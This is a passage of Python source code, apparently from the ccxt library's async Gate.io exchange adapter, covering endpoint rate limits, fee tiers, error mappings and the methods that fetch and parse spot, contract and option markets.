'cross/loans': 1.5, 'cross/loans/repayments': 1.5, 'cross/repayments': 1.5, }, 'patch': { 'loans/{loan_id}': 1.5, 'loan_records/{loan_record_id}': 1.5, }, 'delete': { 'loans/{loan_id}': 1.5, }, }, 'futures': { 'get': { '{settle}/accounts': 1.5, '{settle}/account_book': 1.5, '{settle}/positions': 1.5, '{settle}/positions/{contract}': 1.5, '{settle}/orders': 1.5, '{settle}/orders/{order_id}': 1.5, '{settle}/my_trades': 1.5, '{settle}/position_close': 1.5, '{settle}/liquidates': 1.5, '{settle}/price_orders': 1.5, '{settle}/price_orders/{order_id}': 1.5, '{settle}/dual_comp/positions/{contract}': 1.5, }, 'post': { '{settle}/positions/{contract}/margin': 1.5, '{settle}/positions/{contract}/leverage': 1.5, '{settle}/positions/{contract}/risk_limit': 1.5, '{settle}/dual_mode': 1.5, '{settle}/dual_comp/positions/{contract}': 1.5, '{settle}/dual_comp/positions/{contract}/margin': 1.5, '{settle}/dual_comp/positions/{contract}/leverage': 1.5, '{settle}/dual_comp/positions/{contract}/risk_limit': 1.5, '{settle}/orders': 1.5, '{settle}/price_orders': 1.5, }, 'delete': { '{settle}/orders': 1.5, '{settle}/orders/{order_id}': 1.5, '{settle}/price_orders': 1.5, '{settle}/price_orders/{order_id}': 1.5, }, }, 'delivery': { 'get': { '{settle}/accounts': 1.5, '{settle}/account_book': 1.5, '{settle}/positions': 1.5, '{settle}/positions/{contract}': 1.5, '{settle}/orders': 1.5, '{settle}/orders/{order_id}': 1.5, '{settle}/my_trades': 1.5, '{settle}/position_close': 1.5, '{settle}/liquidates': 1.5, '{settle}/price_orders': 1.5, '{settle}/price_orders/{order_id}': 1.5, '{settle}/settlements': 1.5, }, 'post': { '{settle}/positions/{contract}/margin': 1.5, '{settle}/positions/{contract}/leverage': 1.5, '{settle}/positions/{contract}/risk_limit': 1.5, '{settle}/orders': 1.5, '{settle}/price_orders': 1.5, }, 'delete': { '{settle}/orders': 1.5, '{settle}/orders/{order_id}': 1.5, '{settle}/price_orders': 1.5, '{settle}/price_orders/{order_id}': 1.5, }, }, 'options': { 'get': { 'accounts': 1.5, 'account_book': 1.5, 'positions': 1.5, 'positions/{contract}': 1.5, 'position_close': 1.5, 'orders': 1.5, 'orders/{order_id}': 1.5, 'my_trades': 1.5, }, 'post': { 'orders': 1.5, }, 'delete': { 'orders': 1.5, 'orders/{order_id}': 1.5, }, }, }, }, 'timeframes': { '10s': '10s', '1m': '1m', '5m': '5m', '15m': '15m', '30m': '30m', '1h': '1h', '4h': '4h', '8h': '8h', '1d': '1d', '7d': '7d', '1w': '7d', }, # copied from gateiov2 'commonCurrencies': { '88MPH': 'MPH', 'AXIS': 'Axis DeFi', 'BIFI': 'Bitcoin File', 'BOX': 'DefiBox', 'BTCBEAR': 'BEAR', 'BTCBULL': 'BULL', 'BYN': 'BeyondFi', 'EGG': 'Goose Finance', 'GTC': 'Game.com', # conflict with Gitcoin and Gastrocoin 'GTC_HT': 'Game.com HT', 'GTC_BSC': 'Game.com BSC', 'HIT': 'HitChain', 'MM': 'Million', # conflict with MilliMeter 'MPH': 'Morpher', # conflict with 88MPH 'RAI': 'Rai Reflex Index', # conflict with RAI Finance 'SBTC': 'Super Bitcoin', 'TNC': 'Trinity Network Credit', 'TON': 'TONToken', 'VAI': 'VAIOT', }, 'requiredCredentials': { 'apiKey': True, 'secret': True, }, 'headers': { 'X-Gate-Channel-Id': 'ccxt', }, 'options': { 'createOrder': { 'expiration': 86400, # for conditional orders }, 'networks': { 'TRC20': 'TRX', 'ERC20': 'ETH', 'BEP20': 'BSC', }, 'accountsByType': { 'funding': 'spot', 'spot': 'spot', 'margin': 'margin', 'cross_margin': 'cross_margin', 'cross': 'cross_margin', 'isolated': 'margin', 'swap': 'futures', 'future': 'delivery', 'futures': 'futures', 'delivery': 'delivery', }, 'defaultType': 'spot', 'swap': { 'fetchMarkets': { 'settlementCurrencies': ['usdt', 'btc'], }, }, 'future': { 'fetchMarkets': { 'settlementCurrencies': ['usdt', 'btc'], }, }, }, 'precisionMode': TICK_SIZE, 'fees': { 'trading': { 'tierBased': True, 'feeSide': 'get', 'percentage': True, 'maker': self.parse_number('0.002'), 'taker': self.parse_number('0.002'), 'tiers': { # volume is in BTC 'maker': [ [self.parse_number('0'), self.parse_number('0.002')], [self.parse_number('1.5'), self.parse_number('0.00185')], [self.parse_number('3'), self.parse_number('0.00175')], [self.parse_number('6'), self.parse_number('0.00165')], [self.parse_number('12.5'), self.parse_number('0.00155')], [self.parse_number('25'), self.parse_number('0.00145')], [self.parse_number('75'), self.parse_number('0.00135')], [self.parse_number('200'), self.parse_number('0.00125')], [self.parse_number('500'), self.parse_number('0.00115')], [self.parse_number('1250'), self.parse_number('0.00105')], [self.parse_number('2500'), self.parse_number('0.00095')], [self.parse_number('3000'), self.parse_number('0.00085')], [self.parse_number('6000'), self.parse_number('0.00075')], [self.parse_number('11000'), self.parse_number('0.00065')], [self.parse_number('20000'), self.parse_number('0.00055')], [self.parse_number('40000'), self.parse_number('0.00055')], [self.parse_number('75000'), self.parse_number('0.00055')], ], 'taker': [ [self.parse_number('0'), self.parse_number('0.002')], [self.parse_number('1.5'), self.parse_number('0.00195')], [self.parse_number('3'), self.parse_number('0.00185')], [self.parse_number('6'), self.parse_number('0.00175')], [self.parse_number('12.5'), self.parse_number('0.00165')], [self.parse_number('25'), self.parse_number('0.00155')], [self.parse_number('75'), self.parse_number('0.00145')], [self.parse_number('200'), self.parse_number('0.00135')], [self.parse_number('500'), self.parse_number('0.00125')], [self.parse_number('1250'), self.parse_number('0.00115')], [self.parse_number('2500'), self.parse_number('0.00105')], [self.parse_number('3000'), self.parse_number('0.00095')], [self.parse_number('6000'), self.parse_number('0.00085')], [self.parse_number('11000'), self.parse_number('0.00075')], [self.parse_number('20000'), self.parse_number('0.00065')], [self.parse_number('40000'), self.parse_number('0.00065')], [self.parse_number('75000'), self.parse_number('0.00065')], ], }, }, 'swap': { 'tierBased': True, 'feeSide': 'base', 'percentage': True, 'maker': self.parse_number('0.0'), 'taker': self.parse_number('0.0005'), 'tiers': { 'maker': [ [self.parse_number('0'), self.parse_number('0.0000')], [self.parse_number('1.5'), self.parse_number('-0.00005')], [self.parse_number('3'), self.parse_number('-0.00005')], [self.parse_number('6'), self.parse_number('-0.00005')], [self.parse_number('12.5'), self.parse_number('-0.00005')], [self.parse_number('25'), self.parse_number('-0.00005')], [self.parse_number('75'), self.parse_number('-0.00005')], [self.parse_number('200'), self.parse_number('-0.00005')], [self.parse_number('500'), self.parse_number('-0.00005')], [self.parse_number('1250'), self.parse_number('-0.00005')], [self.parse_number('2500'), self.parse_number('-0.00005')], [self.parse_number('3000'), self.parse_number('-0.00008')], [self.parse_number('6000'), self.parse_number('-0.01000')], [self.parse_number('11000'), self.parse_number('-0.01002')], [self.parse_number('20000'), self.parse_number('-0.01005')], [self.parse_number('40000'), self.parse_number('-0.02000')], [self.parse_number('75000'), self.parse_number('-0.02005')], ], 'taker': [ [self.parse_number('0'), self.parse_number('0.00050')], [self.parse_number('1.5'), self.parse_number('0.00048')], [self.parse_number('3'), self.parse_number('0.00046')], [self.parse_number('6'), self.parse_number('0.00044')], [self.parse_number('12.5'), self.parse_number('0.00042')], [self.parse_number('25'), self.parse_number('0.00040')], [self.parse_number('75'), self.parse_number('0.00038')], [self.parse_number('200'), self.parse_number('0.00036')], [self.parse_number('500'), self.parse_number('0.00034')], [self.parse_number('1250'), self.parse_number('0.00032')], [self.parse_number('2500'), self.parse_number('0.00030')], [self.parse_number('3000'), self.parse_number('0.00030')], [self.parse_number('6000'), self.parse_number('0.00030')], [self.parse_number('11000'), self.parse_number('0.00030')], [self.parse_number('20000'), self.parse_number('0.00030')], [self.parse_number('40000'), self.parse_number('0.00030')], [self.parse_number('75000'), self.parse_number('0.00030')], ], }, }, }, # https://www.gate.io/docs/apiv4/en/index.html#label-list 'exceptions': { 'exact': { 'INVALID_PARAM_VALUE': BadRequest, 'INVALID_PROTOCOL': BadRequest, 'INVALID_ARGUMENT': BadRequest, 'INVALID_REQUEST_BODY': BadRequest, 'MISSING_REQUIRED_PARAM': ArgumentsRequired, 'BAD_REQUEST': BadRequest, 'INVALID_CONTENT_TYPE': BadRequest, 'NOT_ACCEPTABLE': BadRequest, 'METHOD_NOT_ALLOWED': BadRequest, 'NOT_FOUND': ExchangeError, 'INVALID_CREDENTIALS': AuthenticationError, 'INVALID_KEY': AuthenticationError, 'IP_FORBIDDEN': AuthenticationError, 'READ_ONLY': PermissionDenied, 'INVALID_SIGNATURE': AuthenticationError, 'MISSING_REQUIRED_HEADER': AuthenticationError, 'REQUEST_EXPIRED': AuthenticationError, 'ACCOUNT_LOCKED': AccountSuspended, 'FORBIDDEN': PermissionDenied, 'SUB_ACCOUNT_NOT_FOUND': ExchangeError, 'SUB_ACCOUNT_LOCKED': AccountSuspended, 'MARGIN_BALANCE_EXCEPTION': ExchangeError, 'MARGIN_TRANSFER_FAILED': ExchangeError, 'TOO_MUCH_FUTURES_AVAILABLE': ExchangeError, 'FUTURES_BALANCE_NOT_ENOUGH': InsufficientFunds, 'ACCOUNT_EXCEPTION': ExchangeError, 'SUB_ACCOUNT_TRANSFER_FAILED': ExchangeError, 'ADDRESS_NOT_USED': ExchangeError, 'TOO_FAST': RateLimitExceeded, 'WITHDRAWAL_OVER_LIMIT': ExchangeError, 'API_WITHDRAW_DISABLED': ExchangeNotAvailable, 'INVALID_WITHDRAW_ID': ExchangeError, 'INVALID_WITHDRAW_CANCEL_STATUS': ExchangeError, 'INVALID_PRECISION': InvalidOrder, 'INVALID_CURRENCY': BadSymbol, 'INVALID_CURRENCY_PAIR': BadSymbol, 'POC_FILL_IMMEDIATELY': ExchangeError, 'ORDER_NOT_FOUND': OrderNotFound, 'CLIENT_ID_NOT_FOUND': OrderNotFound, 'ORDER_CLOSED': InvalidOrder, 'ORDER_CANCELLED': InvalidOrder, 'QUANTITY_NOT_ENOUGH': InvalidOrder, 'BALANCE_NOT_ENOUGH': InsufficientFunds, 'MARGIN_NOT_SUPPORTED': InvalidOrder, 'MARGIN_BALANCE_NOT_ENOUGH': InsufficientFunds, 'AMOUNT_TOO_LITTLE': InvalidOrder, 'AMOUNT_TOO_MUCH': InvalidOrder, 'REPEATED_CREATION': InvalidOrder, 'LOAN_NOT_FOUND': OrderNotFound, 'LOAN_RECORD_NOT_FOUND': OrderNotFound, 'NO_MATCHED_LOAN': ExchangeError, 'NOT_MERGEABLE': ExchangeError, 'NO_CHANGE': ExchangeError, 'REPAY_TOO_MUCH': ExchangeError, 'TOO_MANY_CURRENCY_PAIRS': InvalidOrder, 'TOO_MANY_ORDERS': InvalidOrder, 'MIXED_ACCOUNT_TYPE': InvalidOrder, 'AUTO_BORROW_TOO_MUCH': ExchangeError, 'TRADE_RESTRICTED': InsufficientFunds, 'USER_NOT_FOUND': AccountNotEnabled, 'CONTRACT_NO_COUNTER': ExchangeError, 'CONTRACT_NOT_FOUND': BadSymbol, 'RISK_LIMIT_EXCEEDED': ExchangeError, 'INSUFFICIENT_AVAILABLE': InsufficientFunds, 'LIQUIDATE_IMMEDIATELY': InvalidOrder, 'LEVERAGE_TOO_HIGH': InvalidOrder, 'LEVERAGE_TOO_LOW': InvalidOrder, 'ORDER_NOT_OWNED': ExchangeError, 'ORDER_FINISHED': ExchangeError, 'POSITION_CROSS_MARGIN': ExchangeError, 'POSITION_IN_LIQUIDATION': ExchangeError, 'POSITION_IN_CLOSE': ExchangeError, 'POSITION_EMPTY': InvalidOrder, 'REMOVE_TOO_MUCH': ExchangeError, 'RISK_LIMIT_NOT_MULTIPLE': ExchangeError, 'RISK_LIMIT_TOO_HIGH': ExchangeError, 'RISK_LIMIT_TOO_lOW': ExchangeError, 'PRICE_TOO_DEVIATED': InvalidOrder, 'SIZE_TOO_LARGE': InvalidOrder, 'SIZE_TOO_SMALL': InvalidOrder, 'PRICE_OVER_LIQUIDATION': InvalidOrder, 'PRICE_OVER_BANKRUPT': InvalidOrder, 'ORDER_POC_IMMEDIATE': InvalidOrder, 'INCREASE_POSITION': InvalidOrder, 'CONTRACT_IN_DELISTING': ExchangeError, 'INTERNAL': ExchangeNotAvailable, 'SERVER_ERROR': ExchangeNotAvailable, 'TOO_BUSY': ExchangeNotAvailable, 'CROSS_ACCOUNT_NOT_FOUND': ExchangeError, }, }, 'broad': {}, }) async def fetch_markets(self, params={}): result = [] type, query = self.handle_market_type_and_params('fetchMarkets', None, params) if type == 'spot' or type == 'margin': result = await self.fetch_spot_markets(query) if type == 'swap' or type == 'future': result = await self.fetch_contract_markets(query) # futures and swaps if type == 'option': result = await self.fetch_option_markets(query) resultLength = len(result) if resultLength == 0: raise ExchangeError(self.id + " does not support '" + type + "' type, set exchange.options['defaultType'] to " + "'spot', 'margin', 'swap', 'future' or 'option'") # eslint-disable-line quotes return result async def fetch_spot_markets(self, params): marginResponse = await self.publicMarginGetCurrencyPairs(params) spotMarketsResponse = await self.publicSpotGetCurrencyPairs(params) marginMarkets = self.index_by(marginResponse, 'id') # # Spot # # [ # { # "id": "QTUM_ETH", # "base": "QTUM", # "quote": "ETH", # "fee": "0.2", # "min_base_amount": "0.01", # "min_quote_amount": "0.001", # "amount_precision": 3, # "precision": 6, # "trade_status": "tradable", # "sell_start": 0, # "buy_start": 0 # } # ] # # Margin # # [ # { # "id": "ETH_USDT", # "base": "ETH", # "quote": "USDT", # "leverage": 3, # "min_base_amount": "0.01", # "min_quote_amount": "100", # "max_quote_amount": "1000000" # } # ] # result = [] for i in range(0, len(spotMarketsResponse)): spotMarket = spotMarketsResponse[i] id = self.safe_string(spotMarket, 'id') marginMarket = self.safe_value(marginMarkets, id) market = self.deep_extend(marginMarket, spotMarket) baseId, quoteId = id.split('_') base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) takerPercent = self.safe_string(market, 'fee') makerPercent = self.safe_string(market, 'maker_fee_rate', takerPercent) amountPrecisionString = self.safe_string(market, 'amount_precision') pricePrecisionString = self.safe_string(market, 'precision') tradeStatus = self.safe_string(market, 'trade_status') leverage = self.safe_number(market, 'leverage') defaultMinAmountLimit = self.parse_number(self.parse_precision(amountPrecisionString)) margin = leverage is not None result.append({ 'id': id, 'symbol': base + '/' + quote, 'base': base, 'quote': quote, 'settle': None, 'baseId': baseId, 'quoteId': quoteId, 'settleId': None, 'type': 'spot', 'spot': True, 'margin': margin, 'swap': False, 'future': False, 'option': False, 'active': (tradeStatus == 'tradable'), 'contract': False, 'linear': None, 'inverse': None, # Fee is in %, so divide by 100 'taker': self.parse_number(Precise.string_div(takerPercent, '100')), 'maker': self.parse_number(Precise.string_div(makerPercent, '100')), 'contractSize': None, 'expiry': None, 'expiryDatetime': None, 'strike': None, 'optionType': None, 'precision': { 'amount': self.parse_number(self.parse_precision(amountPrecisionString)), 'price': self.parse_number(self.parse_precision(pricePrecisionString)), }, 'limits': { 'leverage': { 'min': self.parse_number('1'), 'max': self.safe_number(market, 'leverage', 1), }, 'amount': { 'min': self.safe_number(spotMarket, 'min_base_amount', defaultMinAmountLimit), 'max': None, }, 'price': { 'min': None, 'max': None, }, 'cost': { 'min': self.safe_number(market, 'min_quote_amount'), 'max': self.safe_number(market, 'max_quote_amount'), }, }, 'info': market, }) return result async def fetch_contract_markets(self, params): result = [] swapSettlementCurrencies = self.get_settlement_currencies('swap', 'fetchMarkets') futureSettlementCurrencies = self.get_settlement_currencies('future', 'fetchMarkets') for c in range(0, len(swapSettlementCurrencies)): settleId = swapSettlementCurrencies[c] query = params query['settle'] = settleId response = await self.publicFuturesGetSettleContracts(query) for i in range(0, len(response)): parsedMarket = self.parse_contract_market(response[i], settleId) result.append(parsedMarket) for c in range(0, len(futureSettlementCurrencies)): settleId = futureSettlementCurrencies[c] query = params query['settle'] = settleId response = await self.publicDeliveryGetSettleContracts(query) for i in range(0, len(response)): parsedMarket = self.parse_contract_market(response[i], settleId) result.append(parsedMarket) return result def parse_contract_market(self, market, settleId): # # Perpetual swap # # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": "1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # # Delivery Futures # # { # "name": "BTC_USDT_20200814", # "underlying": "BTC_USDT", # "cycle": "WEEKLY", # "type": "direct", # "quanto_multiplier": "0.0001", # "mark_type": "index", # "last_price": "9017", # "mark_price": "9019", # "index_price": "9005.3", # "basis_rate": "0.185095", # "basis_value": "13.7", # "basis_impact_value": "100000", # "settle_price": "0", # "settle_price_interval": 60, # "settle_price_duration": 1800, # "settle_fee_rate": "0.0015", # "expire_time": 1593763200, # "order_price_round": "0.1", # "mark_price_round": "0.1", # "leverage_min": "1", # "leverage_max": "100", # "maintenance_rate": "1000000", # "risk_limit_base": "140.726652109199", # "risk_limit_step": "1000000", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "ref_discount_rate": "0", # "ref_rebate_rate": "0.2", # "order_price_deviate": "0.5", # "order_size_min": 1, # "order_size_max": 1000000, # "orders_limit": 50, # "orderbook_id": 63, # "trade_id": 26, # "trade_size": 435, # "position_size": 130, # "config_change_time": 1593158867, # "in_delisting": False # } # id = self.safe_string(market, 'name') parts = id.split('_') baseId = self.safe_string(parts, 0) quoteId = self.safe_string(parts, 1) date = self.safe_string(parts, 2) base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) settle = self.safe_currency_code(settleId) expiry = self.safe_timestamp(market, 'expire_time') symbol = '' marketType = 'swap' if date is not None: symbol = base + '/' + quote + ':' + settle + '-' + self.yymmdd(expiry, '') marketType = 'future' else: symbol = base + '/' + quote + ':' + settle priceDeviate = self.safe_string(market, 'order_price_deviate') markPrice = self.safe_string(market, 'mark_price') minMultiplier = Precise.string_sub('1', priceDeviate) maxMultiplier = Precise.string_add('1', priceDeviate) minPrice = Precise.string_mul(minMultiplier, markPrice) maxPrice = Precise.string_mul(maxMultiplier, markPrice) takerPercent = self.safe_string(market, 'taker_fee_rate') makerPercent = self.safe_string(market, 'maker_fee_rate', takerPercent) isLinear = quote == settle return { 'id': id, 'symbol': symbol, 'base': base, 'quote': quote, 'settle': settle, 'baseId': baseId, 'quoteId': quoteId, 'settleId': settleId, 'type': marketType, 'spot': False, 'margin': False, 'swap': marketType == 'swap', 'future': marketType == 'future', 'option': marketType == 'option', 'active': True, 'contract': True, 'linear': isLinear, 'inverse': not isLinear, 'taker': self.parse_number(Precise.string_div(takerPercent, '100')), # Fee is in %, so divide by 100 'maker': self.parse_number(Precise.string_div(makerPercent, '100')), 'contractSize': self.safe_number(market, 'quanto_multiplier'), 'expiry': expiry, 'expiryDatetime': self.iso8601(expiry), 'strike': None, 'optionType': None, 'precision': { 'amount': self.parse_number('1'), 'price': self.safe_number(market, 'order_price_round'), }, 'limits': { 'leverage': { 'min': self.safe_number(market, 'leverage_min'), 'max': self.safe_number(market, 'leverage_max'), }, 'amount': { 'min': self.safe_number(market, 'order_size_min'), 'max': self.safe_number(market, 'order_size_max'), }, 'price': { 'min': self.parse_number(minPrice), 'max': self.parse_number(maxPrice), }, 'cost': { 'min': None, 'max': None, }, }, 'info': market, } async def fetch_option_markets(self, params={}): result = [] underlyings = await self.fetch_option_underlyings() for i in range(0, len(underlyings)): underlying = underlyings[i] query = params query['underlying'] = underlying response = await self.publicOptionsGetContracts(query) # # [ # { # "orders_limit": "50", # "order_size_max": "100000", # "mark_price_round": "0.1", # "order_size_min": "1", # "position_limit": "1000000", # "orderbook_id": "575967", # "order_price_deviate": "0.9", # "is_call": True, # True means Call False means Put # "last_price": "93.9", # "bid1_size": "0", # "bid1_price": "0", # "taker_fee_rate": "0.0004", # "underlying": "BTC_USDT", # "create_time": "1646381188", # "price_limit_fee_rate": "0.1", # "maker_fee_rate": "0.0004", # "trade_id": "727", # "order_price_round": "0.1", # "settle_fee_rate": "0.0001", # "trade_size": "1982", # "ref_rebate_rate": "0", # "name": "BTC_USDT-20220311-44000-C", # "underlying_price": "39194.26", # "strike_price": "44000", # "multiplier": "0.0001", # "ask1_price": "0", # "ref_discount_rate": "0", # "expiration_time": "1646985600", # "mark_price": "12.15", # "position_size": "4", # "ask1_size": "0", # "tag": "WEEK" # } # ] # for i in range(0, len(response)): market = response[i] id = self.safe_string(market, 'name') parts = underlying.split('_') baseId = self.safe_string(parts, 0) quoteId = self.safe_string(parts, 1) base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) symbol = base + '/' + quote expiry = self.safe_timestamp(market, 'expiration_time') strike = self.safe_string(market, 'strike_price') isCall = self.safe_value(market, 'is_call') optionLetter = 'C' if isCall else 'P' optionType = 'call' if isCall else 'put' symbol = symbol + ':' + quote + '-' + self.yymmdd(expiry) + ':' + strike + ':' + optionLetter priceDeviate = self.safe_string(market, 'order_price_deviate') markPrice = self.safe_string(market, 'mark_price') minMultiplier = Precise.string_sub('1', priceDeviate) maxMultiplier = Precise.string_add('1', priceDeviate) minPrice = Precise.string_mul(minMultiplier, markPrice) maxPrice = Precise.string_mul(maxMultiplier, markPrice) takerPercent = self.safe_string(market, 'taker_fee_rate') makerPercent = self.safe_string(market, 'maker_fee_rate', takerPercent) result.append({ 'id': id, 'symbol': symbol, 'base': base, 'quote': quote, 'settle': quote, 'baseId': baseId, 'quoteId': quoteId, 'settleId': quoteId, 'type': 'option', 'spot': False, 'margin': False, 'swap': False, 'future': False, 'option': True, 'active': True, 'contract': True, 'linear': True, 'inverse': False, 'taker': self.parse_number(Precise.string_div(takerPercent, '100')), # Fee is in %, so divide by 100 'maker': self.parse_number(Precise.string_div(makerPercent, '100')), 'contractSize': self.parse_number('1'), 'expiry': expiry, 'expiryDatetime': self.iso8601(expiry), 'strike': strike, 'optionType': optionType, 'precision': { 'amount': self.parse_number('1'), 'price': self.safe_number(market, 'order_price_round'), }, 'limits': { 'leverage': { 'min': None, 'max': None, }, 'amount': { 'min': self.safe_number(market, 'order_size_min'), 'max': self.safe_number(market, 'order_size_max'), }, 'price': { 'min': self.parse_number(minPrice), 'max': self.parse_number(maxPrice), }, 'cost': { 'min': None, 'max': None, }, }, 'info': market, }) return result async def fetch_option_underlyings(self): underlyingsResponse = await self.publicOptionsGetUnderlyings() # # [ # { # "index_time": "1646915796", # "name": "BTC_USDT", # "index_price": "39142.73" # } # ] # underlyings = [] for i in range(0, len(underlyingsResponse)): underlying = underlyingsResponse[i] name = self.safe_string(underlying, 'name') if name is not None: underlyings.append(name) return underlyings def prepare_request(self, market=None, type=None, params={}): """ * @ignore Fills request params contract, settle, currency_pair, market and account where applicable :param dict market: CCXT market, required when type is None :param str type: 'spot', 'swap', or 'future', required when market is None :param dict params: request parameters :returns: the api request object, and the new params object with non-needed parameters removed """ # * Do not call for multi spot order methods like cancelAllOrders and fetchOpenOrders. Use multiOrderSpotPrepareRequest instead request = {} if market is not None: if market['contract']: request['contract'] = market['id'] request['settle'] = market['settleId'] else: request['currency_pair'] = market['id'] else: swap = type == 'swap' future = type == 'future' if swap or future: defaultSettle = 'usdt' if swap else 'btc' settle = self.safe_string_lower(params, 'settle', defaultSettle) params = self.omit(params, 'settle') request['settle'] = settle return [request, params] def spot_order_prepare_request(self, market=None, stop=False, params={}): """ * @ignore Fills request params currency_pair, market and account where applicable for spot order methods like fetchOpenOrders, cancelAllOrders :param dict market: CCXT market :param bool stop: True if for a stop order :param dict params: request parameters :returns: the api request object, and the new params object with non-needed parameters removed """ marginMode, query = self.get_margin_mode(stop, params) request = {} if not stop: if market is None: raise ArgumentsRequired(self.id + ' spotOrderPrepareRequest() requires a market argument for non-stop orders') request['account'] = marginMode request['currency_pair'] = market['id'] # Should always be set for non-stop return [request, query] def multi_order_spot_prepare_request(self, market=None, stop=False, params={}): """ * @ignore Fills request params currency_pair, market and account where applicable for spot order methods like fetchOpenOrders, cancelAllOrders :param dict market: CCXT market :param bool stop: True if for a stop order :param dict params: request parameters :returns: the api request object, and the new params object with non-needed parameters removed """ marginMode, query = self.get_margin_mode(stop, params) request = { 'account': marginMode, } if market is not None: if stop: # gateio spot and margin stop orders use the term market instead of currency_pair, and normal instead of spot. Neither parameter is used when fetching/cancelling a single order. They are used for creating a single stop order, but createOrder does not call self method request['market'] = market['id'] else: request['currency_pair'] = market['id'] return [request, query] def get_margin_mode(self, stop, params): """ * @ignore Gets the margin type for self api call :param bool stop: True if for a stop order :param dict params: Request params :returns: The marginMode and the updated request params with marginMode removed, marginMode value is the value that can be read by the "account" property specified in gateios api docs """ defaultMarginMode = self.safe_string_lower_2(self.options, 'defaultMarginMode', 'marginMode', 'spot') # 'margin' is isolated margin on gateio's api marginMode = self.safe_string_lower_2(params, 'marginMode', 'account', defaultMarginMode) params = self.omit(params, ['marginMode', 'account']) if marginMode == 'cross': marginMode = 'cross_margin' elif marginMode == 'isolated': marginMode = 'margin' elif marginMode == '': marginMode = 'spot' if stop: if marginMode == 'spot': # gateio spot stop orders use the term normal instead of spot marginMode = 'normal' if marginMode == 'cross_margin': raise BadRequest(self.id + ' getMarginMode() does not support stop orders for cross margin') return [marginMode, params] def get_settlement_currencies(self, type, method): options = self.safe_value(self.options, type, {}) # ['BTC', 'USDT'] unified codes fetchMarketsContractOptions = self.safe_value(options, method, {}) defaultSettle = ['usdt'] if (type == 'swap') else ['btc'] return self.safe_value(fetchMarketsContractOptions, 'settlementCurrencies', defaultSettle) async def fetch_currencies(self, params={}): # sandbox/testnet only supports future markets apiBackup = self.safe_value(self.urls, 'apiBackup') if apiBackup is not None: return None response = await self.publicSpotGetCurrencies(params) # # { # "currency": "BCN", # "delisted": False, # "withdraw_disabled": True, # "withdraw_delayed": False, # "deposit_disabled": True, # "trade_disabled": False # } # result = {} # TODO: remove magic constants amountPrecision = self.parse_number('1e-6') for i in range(0, len(response)): entry = response[i] currencyId = self.safe_string(entry, 'currency') currencyIdLower = self.safe_string_lower(entry, 'currency') code = self.safe_currency_code(currencyId) delisted = self.safe_value(entry, 'delisted') withdrawDisabled = self.safe_value(entry, 'withdraw_disabled', False) depositDisabled = self.safe_value(entry, 'deposit_disabled', False) tradeDisabled = self.safe_value(entry, 'trade_disabled', False) withdrawEnabled = not withdrawDisabled depositEnabled = not depositDisabled tradeEnabled = not tradeDisabled listed = not delisted active = listed and tradeEnabled and withdrawEnabled and depositEnabled result[code] = { 'id': currencyId, 'lowerCaseId': currencyIdLower, 'name': None, 'code': code, 'precision': amountPrecision, 'info': entry, 'active': active, 'deposit': depositEnabled, 'withdraw': withdrawEnabled, 'fee': None, 'fees': [], 'limits': self.limits, } return result async def fetch_funding_rate(self, symbol, params={}): await self.load_markets() market = self.market(symbol) if not market['swap']: raise BadSymbol(self.id + ' fetchFundingRate() supports swap contracts only') request, query = self.prepare_request(market, None, params) response = await self.publicFuturesGetSettleContractsContract(self.extend(request, query)) # # [ # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": "1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # ] # return self.parse_funding_rate(response) async def fetch_funding_rates(self, symbols=None, params={}): await self.load_markets() request, query = self.prepare_request(None, 'swap', params) response = await self.publicFuturesGetSettleContracts(self.extend(request, query)) # # [ # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": "1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 